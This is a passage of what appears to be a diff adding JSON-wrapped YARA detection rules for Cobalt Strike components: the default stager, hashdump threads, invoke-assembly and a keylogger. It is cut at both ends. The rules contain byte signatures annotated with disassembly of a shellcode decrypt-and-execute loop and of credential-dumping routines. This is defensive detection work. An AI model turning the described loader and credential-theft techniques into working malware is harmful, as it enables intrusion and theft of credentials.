?? ??            // call dword ptr [0xXX]                    // CreateThread\n        }\n\n        $unpacker_stage_3x_optimized1 = {\n            8B 45 0C                     // mov eax, dword ptr [ebp + 0xc]\n            C7 44 24 0C 40 00 00 00      // mov dword ptr [esp + 0xc], 0x40  // PAGE_READWRITE\n            C7 44 24 08 00 (10|30) 00 00 // mov dword ptr [esp+8], 1000h     // MEM_COMMIT | MEM_RESERVE or only MEM_COMMIT\n            89 44 24 04                  // mov dword ptr [esp + 4], eax     // dwSize\n            C7 04 24 00 00 00 00         // mov dword ptr [esp], 0           // lpStartAddress\n            A1 ?? ?? ?? ??               // mov eax, dword ptr [0xXX]        // VirtualAlloc\n            FF D0                        // call eax\n            83 EC 10                     // sub esp, 0x10\n            89 45 F0                     // mov dword ptr [ebp - 0x10], eax\n            C7 45 F4 00 00 00 00         // mov dword ptr [ebp - 0xc], 0\n            EB 44                        // jmp decrypt_payload\n\n                                         // loop_decrypt_payload:\n            8B 45 F4                     // mov eax, dword ptr [ebp - 0xc]\n            (\n            89 C1 |                      // mov ecx, eax or\n            50                           // push eax\n            59                           // pop ecx\n            )\n            03 4D 08                     // add ecx, dword ptr [ebp + 8]\n            8B 45 F4                     // mov eax, dword ptr [ebp - 0xc]\n            03 45 08                     // add eax, dword ptr [ebp + 8]\n            0F B6 18                     // movzx ebx, byte ptr [eax]\n            8B 45 F4                     // mov eax, dword ptr [ebp - 0xc]\n            89 C2                        // mov edx, eax\n            C1 FA 1F                     // sar edx, 0x1F\n            C1 EA 1E                     // shr edx, 0x1E\n            01 D0                        // add eax, edx\n            83 E0 03                     // and eax, 3\n            29 D0                        // sub eax, edx\n            03 45 10                     // add eax, [ebp+arg_8]\n            0F B6 00                     // movzx eax, byte ptr [eax]\n            31 D8                        // xor eax, ebx\n            88 01                        // mov [ecx], al\n            8B 45 F4                     // mov eax, dword ptr [ebp - 0xc]\n            (\n            89 C2 |                      // mov edx, eax or\n            50                           // push eax\n            5A                           // pop edx\n            )\n            03 55 08                     // add edx, dword ptr [ebp + 8]\n            8B 45 F4                     // mov eax, dword ptr [ebp - 0xc]\n            03 45 F0                     // add eax, dword ptr [ebp - 0x10]\n            0F B6 12                     // movzx edx, byte ptr [edx]\n            88 10                        // mov [eax], dl\n            83 45 F4 01                  // add dword ptr [ebp - 0xc], 1\n\n                                         // decrypt_payload:\n            8B 45 F4                     // mov eax, dword ptr [ebp - 0xc]\n            3B 45 0C                     // cmp eax, dword ptr [ebp + 0xc]\n            7C B4                        // jl loop_decrypt_payload\n\n            8B 45 F0                     // mov eax, dword ptr [ebp - 0x10]\n            C7 44 24 14 00 00 00 00      // mov dword ptr [esp + 0x14], 0    // lpThreadId\n            C7 44 24 10 00 00 00 00      // mov dword ptr [esp + 0x10], 0    // dwCreationFlags\n            C7 44 24 0C 00 00 00 00      // mov dword ptr [esp + 0xC], 0     // lpParameter\n            89 44 24 08                  // mov dword ptr [esp + 8], eax     // lpStartAddress\n            C7 44 24 04 00 00 00 00      // mov dword ptr [esp + 4], 0       // dwStackSize\n            C7 04 24 00 00 00 00         // mov dword ptr [esp], 0           // lpThreadAttributes\n            A1 ?? ?? ?? ??               // mov eax, dword ptr [0xXX]        // CreateThread\n            FF D0                        // call eax\n\n        }\n\n        $unpacker_stage_3x_unoptimized = {\n            8B 75 0C                     // mov esi, dword ptr [ebp + 0xc]\n            C7 44 24 0C 04 00 00 00      // mov dword ptr [esp + 0xc], 4     // PAGE_READWRITE\n            C7 44 24 08 00 (10|30) 00 00 // mov dword ptr [esp + 8], 0x3000  // MEM_COMMIT | MEM_RESERVE\n            C7 04 24 00 00 00 00         // mov dword ptr [esp], 0           // lpStartAddress\n            89 74 24 04                  // mov dword ptr [esp + 4], esi     // dwSize\n            FF 15 ?? ?? ?? ??            // call dword ptr [0xXX]            // VirtualAlloc\n            29 C9                        // sub ecx, ecx\n            83 EC 10                     // sub esp, 0x10\n            50                           // push eax\n            5B                           // pop ebx\n            EB 1A                        // jmp decrypt_payload\n\n                                         // loop_decrypt_payload:\n            51                           // push ecx\n            58                           // pop eax\n            BF 04 00 00 00               // mov edi, 4\n            99                           // cdq\n            F7 FF                        // idiv edi\n            8B 7D 10                     // mov edi, dword ptr [ebp + 0x10]\n            8A 04 17                     // mov al, byte ptr [edi + edx]\n            8B 7D 08                     // mov edi, dword ptr [ebp + 8]\n            32 04 0F                     // xor al, byte ptr [edi + ecx]\n            88 04 0B                     // mov byte ptr [ebx + ecx], al\n            41                           // inc ecx\n\n                                       // decrypt_payload:\n            39 F1                        // cmp ecx, esi\n            7C E2                        // jl loop_decrypt_payload\n\n            8D 45 E4                     // lea eax, [ebp - 0x1c]\n            89 74 24 04                  // mov dword ptr [esp + 4], esi\n            89 1C 24                     // mov dword ptr [esp], ebx\n            89 44 24 0C                  // mov dword ptr [esp + 0xc], eax\n            C7 44 24 08 20 00 00 00      // mov dword ptr [esp + 8], 0x20    // PAGE_READEXECUTE\n            FF 15 ?? ?? ?? ??            // call dword ptr [0xXX]            // VirtualProtect\n            83 EC 10                     // sub esp, 0x10\n            89 5C 24 0C                  // mov dword ptr [esp + 0xc], ebx   // lpParameter\n            C7 44 24 14 00 00 00 00      // mov dword ptr [esp + 0x14], 0    // lpThreadId\n            C7 44 24 10 00 00 00 00      // mov dword ptr [esp + 0x10], 0    // dwCreationFlags\n            C7 44 24 08 ?? ?? ?? 00      // mov dword ptr [esp + 8], 0xXX    // lpStartAddress\n            C7 44 24 04 00 00 00 00      // mov dword ptr [esp + 4], 0       // dwStackSize\n            C7 04 24 00 00 00 00         // mov dword ptr [esp], 0           // lpThreadAttributes\n            FF 15 ?? ?? ?? ??            // call dword ptr [0xXX]            // CreateThread\n        }\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_default_stager_4ff51084ff7e"
+  ],
+  "rule_creation_date": "2021-01-14",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1140",
+    "attack.t1106",
+    "attack.t1572",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_hashdump_injected_efc1f710d60b_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567285Z",
+  "creation_date": "2026-03-23T11:46:25.567287Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567293Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_hashdump_injected_efc1f710d60b.yar",
+  "content": "rule cobalt_strike_hashdump_injected_efc1f710d60b {\n    meta:\n        title = \"Cobalt Strike Hashdump Injected Thread (efc1f710d60b)\"\n        id = \"260533ad-6729-40d7-9506-efc1f710d60b\"\n        description = \"Detects the Cobalt Strike Hashdump Injected Thread for x64.\\nCobalt Strike is a remote access tool used for adversary simulation. This specific rule identifies the hashdump functionality, which extracts credentials from the system.\\nIt is recommended to isolate the endpoint and monitor for additional suspicious activities.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2020-12-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s1 = {\n            48 8D 93 FE 00 00 00     // lea rdx, [rbx + 0xfe]\n            48 8B C8                 // mov rcx, rax\n            FF 53 08                 // call qword ptr [rbx + 8]\n            48 8D 93 0C 01 00 00     // lea rdx, [rbx + 0x10c]\n            49 8B CF                 // mov rcx, r15\n            48 8B F0                 // mov rsi, rax\n            48 89 85 80 00 00 00     // mov qword ptr [rbp + 0x80], rax\n            FF 53 08                 // call qword ptr [rbx + 8]\n            48 8D 93 26 01 00 00     // lea rdx, [rbx + 0x126]\n            49 8B CF                 // mov rcx, r15\n            4C 8B F0                 // mov r14, rax\n            FF 53 08                 // call qword ptr [rbx + 8]\n        }\n\n        $s2 = {\n            FF 53 10                 // call qword ptr [rbx + 0x10]\n            48 8B 4D A0              // mov rcx, qword ptr [rbp - 0x60]\n            FF 53 20                 // call qword ptr [rbx + 0x20]\n            48 8B 4D A0              // mov rcx, qword ptr [rbp - 0x60]\n            FF 53 28                 // call qword ptr [rbx + 0x28]\n            48 8B 4D B0              // mov rcx, qword ptr [rbp - 0x50]\n            FF 53 28                 // call qword ptr [rbx + 0x28]\n        }\n\n        $s3 = {\n            C7 44 24 44 02 00 00 00  // mov dword ptr [rsp + 0x44], 2\n            C7 44 24 38 01 00 00 00  // mov dword ptr [rsp + 0x38], 1\n            FF 15 09 A2 00 00        // call qword ptr [rip + 0xa209]\n        }\n\n        $s4 = {\n            FF 15 33 A3 00 00        // call qword ptr [rip + 0xa333]\n            44 8B C3                 // mov r8d, ebx\n            33 D2                    // xor edx, edx\n            B9 FF FF 1F 00           // mov ecx, 0x1fffff\n            FF 15 E3 A2 00 00        // call qword ptr [rip + 0xa2e3]\n            48 83 C9 FF              // or rcx, 0xffffffffffffffff\n        }\n\n        $s5 = {\n            48 8B 44 24 30           // mov rax, qword ptr [rsp + 0x30]\n            4C 8B 45 E8              // mov r8, qword ptr [rbp - 0x18]\n            48 8B 50 08              // mov rdx, qword ptr [rax + 8]\n            4A 8B 54 F2 10           // mov rdx, qword ptr [rdx + r14*8 + 0x10]\n            FF 55 C8                 // call qword ptr [rbp - 0x38]\n        }\n\n        $s6 = {\n            48 8B 83 88 01 00 00     // mov rax, qword ptr [rbx + 0x188]\n            8B 8D 88 00 00 00        // mov ecx, dword ptr [rbp + 0x88]\n            89 4C 06 08              // mov dword ptr [rsi + rax + 8], ecx\n            48 8B 44 24 30           // mov rax, qword ptr [rsp + 0x30]\n            48 8B 93 88 01 00 00     // mov rdx, qword ptr [rbx + 0x188]\n            48 8B 48 08              // mov rcx, qword ptr [rax + 8]\n            41 B8 20 00 00 00        // mov r8d, 0x20\n            42 8B 04 F1              // mov eax, dword ptr [rcx + r14*8]\n            89 44 16 0C              // mov dword ptr [rsi + rdx + 0xc], eax\n            48 8B 8B 88 01 00 00     // mov rcx, qword ptr [rbx + 0x188]\n            48 8B 54 24 48           // mov rdx, qword ptr [rsp + 0x48]\n            48 83 C1 10              // add rcx, 0x10\n            48 03 CE                 // add rcx, rsi\n            FF 55 C8                 // call qword ptr [rbp - 0x38]\n        }\n\n    condition:\n        4 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_hashdump_injected_efc1f710d60b"
+  ],
+  "rule_creation_date": "2020-12-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_hashdump_injected_fcc1efd6e62d_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.580940Z",
+  "creation_date": "2026-03-23T11:46:25.580942Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.580948Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_hashdump_injected_fcc1efd6e62d.yar",
+  "content": "rule cobalt_strike_hashdump_injected_fcc1efd6e62d {\n    meta:\n        title = \"Cobalt Strike Hashdump Injected Thread (fcc1efd6e62d)\"\n        id = \"c2d23280-53ab-42c8-b4ce-fcc1efd6e62d\"\n        description = \"Detects the Cobalt Strike Hashdump Injected Thread for x64.\\nCobalt Strike is a remote access tool used for adversary simulation. This specific rule identifies the hashdump functionality, which extracts credentials from the system.\\nIt is recommended to isolate the endpoint and monitor for additional suspicious activities.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2020-12-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s1 = {\n            89 BD 6C FF FF FF               // mov dword ptr [ebp - 0x94], edi\n            89 BD 70 FF FF FF               // mov dword ptr [ebp - 0x90], edi\n            89 BD 74 FF FF FF               // mov dword ptr [ebp - 0x8c], edi\n            89 BD 78 FF FF FF               // mov dword ptr [ebp - 0x88], edi\n            89 BD 7C FF FF FF               // mov dword ptr [ebp - 0x84], edi\n            C7 85 68 FF FF FF 18 00 00 00   // mov dword ptr [ebp - 0x98], 0x18\n            FF 55 94                        // call dword ptr [ebp - 0x6c]\n        }\n\n        $s2 = {\n            8B 4E 0C                        // mov ecx, dword ptr [esi + 0xc]\n            8D 86 4C 01 00 00               // lea eax, [esi + 0x14c]\n            50                              // push eax\n            6A 00                           // push 0\n            6A 02                           // push 2\n            FF D1                           // call ecx\n        }\n\n        $s3 = {\n            8B 46 04                        // mov eax, dword ptr [esi + 4]\n            8D 56 27                        // lea edx, [esi + 0x27]\n            52                              // push edx\n            53                              // push ebx\n            FF D0                           // call eax\n            8B 56 04                        // mov edx, dword ptr [esi + 4]\n            8D 4E 33                        // lea ecx, [esi + 0x33]\n            51                              // push ecx\n            8B F8                           // mov edi, eax\n            53                              // push ebx\n            89 7D C4                        // mov dword ptr [ebp - 0x3c], edi\n            FF D2                           // call edx\n            8B 4E 04                        // mov ecx, dword ptr [esi + 4]\n            89 45 E8                        // mov dword ptr [ebp - 0x18], eax\n            8D 46 68                        // lea eax, [esi + 0x68]\n            50                              // push eax\n            53                              // push ebx\n            FF D1                           // call ecx\n            8D 56 42                        // lea edx, [esi + 0x42]\n            52                              // push edx\n            89 45 C0                        // mov dword ptr [ebp - 0x40], eax\n            8B 46 04                        // mov eax, dword ptr [esi + 4]\n            53                              // push ebx\n            FF D0                           // call eax\n            8B 56 04                        // mov edx, dword ptr [esi + 4]\n            8D 4E 4F                        // lea ecx, [esi + 0x4f]\n            51                              // push ecx\n            53                              // push ebx\n            89 45 B0                        // mov dword ptr [ebp - 0x50], eax\n            FF D2                           // call edx\n            8B 4E 04                        // mov ecx, dword ptr [esi + 4]\n            89 45 8C                        // mov dword ptr [ebp - 0x74], eax\n            8D 86 83 00 00 00               // lea eax, [esi + 0x83]\n            50                              // push eax\n            53                              // push ebx\n            FF D1                           // call ecx\n            8D 96 A3 00 00 00               // lea edx, [esi + 0xa3]\n            52                              // push edx\n            89 45 90                        // mov dword ptr [ebp - 0x70], eax\n            8B 46 04                        // mov eax, dword ptr [esi + 4]\n            53                              // push ebx\n            FF D0                           // call eax\n            8B 56 04                        // mov edx, dword ptr [esi + 4]\n            8D 8E C5 00 00 00               // lea ecx, [esi + 0xc5]\n            51                              // push ecx\n            53                              // push ebx\n            89 45 A0                        // mov dword ptr [ebp - 0x60], eax\n            ff d2                           // call edx\n        }\n\n        $s4 = {\n            8D 49 00                        // lea ecx, [ecx]\n            8B 4D F4                        // mov ecx, dword ptr [ebp - 0xc]\n            8B 51 04                        // mov edx, dword ptr [ecx + 4]\n            8B 4D E4                        // mov ecx, dword ptr [ebp - 0x1c]\n            8D 45 D8                        // lea eax, [ebp - 0x28]\n            50                              // push eax\n            8B 04 1A                        // mov eax, dword ptr [edx + ebx]\n            50                              // push eax\n            68 00 00 00 02                  // push 0x2000000\n            51                              // push ecx\n            FF 55 B0                        // call dword ptr [ebp - 0x50]\n        }\n\n        $s5 = {\n            8B 45 D8                        // mov eax, dword ptr [ebp - 0x28]\n            8D 55 E0                        // lea edx, [ebp - 0x20]\n            52                              // push edx\n            6A 12                           // push 0x12\n            50                              // push eax\n            FF 55 8C                        // call dword ptr [ebp - 0x74]\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_hashdump_injected_fcc1efd6e62d"
+  ],
+  "rule_creation_date": "2020-12-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_invoke_assembly_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567360Z",
+  "creation_date": "2026-03-23T11:46:25.567362Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567368Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cobaltstrike.com/blog/cobalt-strike-3-11-the-snake-that-eats-its-tail\nhttps://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_invoke_assembly.yar",
+  "content": "rule cobalt_strike_invoke_assembly {\n    meta:\n        title = \"Cobalt Strike Invoke Assembly DLL\"\n        id = \"1bf15ffa-4d4a-4543-9308-4ed3d6269433\"\n        description = \"Detects Cobalt Strike's in-memory .NET Assembly payload.\\nCobalt Strike is a commercial remote access tool used for adversary simulation. This rule detects its .NET-based payload often used for persistence or lateral movement.\"\n        references = \"https://www.cobaltstrike.com/blog/cobalt-strike-3-11-the-snake-that-eats-its-tail\\nhttps://attack.mitre.org/software/S0154/\"\n        date = \"2020-12-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012;attack.t1027.005;attack.t1106\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $canary = \"b97f6d706e872f3bfcfbe10766c71bc96ed2ff8cc54bd18a92ed261c71fbd8c4\"\n\n        $s1 = \"[-] No .NET runtime found. :(\" ascii\n        $s2 = \"[-] get_EntryPoint failed.\" ascii\n        $s3 = \"[-] GetParameters failed.\" ascii\n        $s4 = \"[-] Invoke_3 on EntryPoint failed\" ascii\n        $s5 = \"[-] Failed to create the runtime host\" ascii\n        $s6 = \"[-] CLR failed to start w/hr 0x%08lx\" ascii\n        $s7 = \"[-] ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx\" ascii\n        $s8 = \"[-] Failed to get default AppDomain w/hr 0x%08lx\" ascii\n        $s9 = \"[-] Failed to load the assembly w/hr 0x%08lx\" ascii\n        $s10 = \"ICLRMetaHost::GetRuntime (%S) failed w/hr 0x%08lx\" ascii\n\n    condition:\n        5 of ($s*) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_invoke_assembly"
+  ],
+  "rule_creation_date": "2020-12-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1106",
+    "attack.t1569.002",
+    "attack.t1055.012",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_keylogger_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581184Z",
+  "creation_date": "2026-03-23T11:46:25.581186Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581191Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_keylogger.yar",
+  "content": "rule cobalt_strike_keylogger {\n    meta:\n        title = \"Cobalt Strike Keylogger\"\n        id = \"fe2aac65-07e6-4002-ab65-d9b0850c160b\"\n        description = \"Detects the Cobalt Strike keylogger component.\\nCobalt Strike's keylogger is designed to capture keystrokes and log user activity during attacks. It uses specific named pipes and API calls to establish communication and track input.\\nThis rule identifies keylogger-related patterns, such as the use of named pipes like \\\"\\\\\\\\.\\\\pipe\\\\keylogger\\\" and associated API calls like CreateNamedPipeA and ConnectNamedPipe.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2020-12-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012;attack.t1027.005;attack.t1106\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Clear marker of the DLL name.\n        $cobalt_marker_s1 = \"keylogger.x64.dll\" ascii\n        $cobalt_marker_s2 = \"keylogger.dll\" ascii\n\n        // This payload use this hardcoded named pipe for communication.\n        $cobalt_marker_s3 = \"\\\\\\\\.\\\\pipe\\\\keylogger\" ascii\n\n        // This payload use this named pipe prefix for communication on Cobalt Strike 4.2+.\n        $cobalt_marker_s4 = \"\\\\\\\\.\\\\pipe\\\\postex_\" ascii\n\n        // This payload use those APIs to create a communication channel.\n        $cobalt_api_import_s1 = \"CreateNamedPipeA\" ascii\n        $cobalt_api_import_s2 = \"ConnectNamedPipe\" ascii\n\n        // Keylogger logs\n        $cobalt_keylogger_marker_s1 = \"[backspace]\" ascii\n        $cobalt_keylogger_marker_s2 = \"[tab]\" ascii\n        $cobalt_keylogger_marker_s3 = \"[clear]\" ascii\n        $cobalt_keylogger_marker_s4 = \"[shift]\" ascii\n        $cobalt_keylogger_marker_s5 = \"[control]\" ascii\n        $cobalt_keylogger_marker_s6 = \"[alt]\" ascii\n        $cobalt_keylogger_marker_s7 = \"[pause]\" ascii\n        $cobalt_keylogger_marker_s8 = \"[caps lock]\" ascii\n        $cobalt_keylogger_marker_s9 = \"[escape]\" ascii\n        $cobalt_keylogger_marker_s10 = \"[page up]\" ascii\n        $cobalt_keylogger_marker_s11 = \"[page down]\" ascii\n        $cobalt_keylogger_marker_s12 = \"[end]\" ascii\n        $cobalt_keylogger_marker_s13 = \"[home]\" ascii\n        $cobalt_keylogger_marker_s14 = \"[left]\" ascii\n        $cobalt_keylogger_marker_s15 = \"[right]\" ascii\n        $cobalt_keylogger_marker_s16 = \"[down]\" ascii\n        $cobalt_keylogger_marker_s17 = \"[prtscr]\" ascii\n        $cobalt_keylogger_marker_s18 = \"[insert]\" ascii\n        $cobalt_keylogger_marker_s19 = \"[delete]\" ascii\n        $cobalt_keylogger_marker_s20 = \"[help]\" ascii\n        $cobalt_keylogger_marker_s21 = \"[command]\" ascii\n        $cobalt_keylogger_marker_s22 = \"[menu]\" ascii\n        $cobalt_keylogger_marker_s23 = \"[F10]\" ascii\n        $cobalt_keylogger_marker_s24 = \"[F11]\" ascii\n        $cobalt_keylogger_marker_s25 = \"[F12]\" ascii\n        $cobalt_keylogger_marker_s26 = \"[F13]\" ascii\n        $cobalt_keylogger_marker_s27 = \"[F14]\" ascii\n        $cobalt_keylogger_marker_s28 = \"[F15]\" ascii\n        $cobalt_keylogger_marker_s29 = \"[F16]\" ascii\n        $cobalt_keylogger_marker_s30 = \"[F17]\" ascii\n        $cobalt_keylogger_marker_s31 = \"[F18]\" ascii\n        $cobalt_keylogger_marker_s32 = \"[F19]\" ascii\n        $cobalt_keylogger_marker_s33 = \"[F20]\" ascii\n        $cobalt_keylogger_marker_s34 = \"[F21]\" ascii\n        $cobalt_keylogger_marker_s35 = \"[F22]\" ascii\n        $cobalt_keylogger_marker_s36 = \"[F23]\" ascii\n        $cobalt_keylogger_marker_s37 = \"[F24]\" ascii\n        $cobalt_keylogger_marker_s38 = \"[numlock]\" ascii\n        $cobalt_keylogger_marker_s39 = \"[scroll lock]\" ascii\n        $cobalt_keylogger_marker_s40 = \"[ctrl]\" ascii\n        $cobalt_keylogger_marker_s41 = \"[unknown: %02X]\" ascii\n\n        $canary = \"56c9db7b35b2dfb6b0d80e8011844a87b1212e344d2293253dad8058a8591ffb\"\n\n    condition:\n        1 of ($cobalt_marker_*) and all of ($cobalt_api_import_*) and 10 of ($cobalt_keylogger_marker_*) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_keylogger"
+  ],
+  "rule_creation_date": "2020-12-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1106",
+    "attack.t1569.002",
+    "attack.t1055.012",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_netview_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
